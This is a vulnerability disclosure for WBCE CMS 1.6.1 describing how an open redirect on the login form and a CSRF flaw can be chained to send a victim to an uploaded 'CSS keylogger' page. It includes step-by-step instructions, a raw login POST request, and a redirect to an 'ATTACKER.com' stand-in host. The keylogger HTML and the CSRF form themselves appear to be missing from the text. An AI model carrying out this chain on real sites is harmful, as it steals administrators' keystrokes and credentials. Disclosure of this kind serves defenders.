WBCE CMS 1.6.1 Cross Site Request Forgery / Open Redirection – Torchsec
Version: 1.6.1
Bugs: Open Redirect + CSRF = CSS KEYLOGGING
Technology: PHP
Vendor URL: https://wbce-cms.org/
Software Link: https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1
Date of found: 03-07-2023
Author: Mirabbas Ağalarov
Tested on: Linux
2. Technical Details & POC
========================================
1. Login to Account
2. Go to Media (http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/index.php#elf_l1_Lw)
3. Then you upload html file .(html file content is as below)
'''
Password::
'''
4.Then go to url of html file (http://localhost/WBCE_CMS-1.6.1/wbce/media/css-keyloger.html) and copy url.
5.Then you logout account and go to again login page (http://localhost/WBCE_CMS-1.6.1/wbce/admin/login/index.php)
POST /WBCE_CMS-1.6.1/wbce/admin/login/index.php HTTP/1.1
Host: localhost
Content-Length: 160
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/WBCE_CMS-1.6.1/wbce/admin/login/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: phpsessid-2729-sid=3i7oqonhjf0ug0jl5dfdp4uugg
Connection: close
url=&username_fieldname=username_3584B221EC89&password_fieldname=password_3584B221EC89&username_3584B221EC89=test&password_3584B221EC89=Hello123%21&submit=Login
6.If write as (https://ATTACKER.com) in url parameter on abowe request on you redirect to attacker.com.
7.We write to html files url
url=http://localhost/WBCE_CMS-1.6.1/wbce/media/css-keyloger.html
8.And create csrf-poc with csrf.poc.generator
CSRF POC
9.If victim click , ht redirect to html file and this page send to my server all keyboard activity of victim.
Poc video : https://youtu.be/m-x_rYXTP9E
Gloss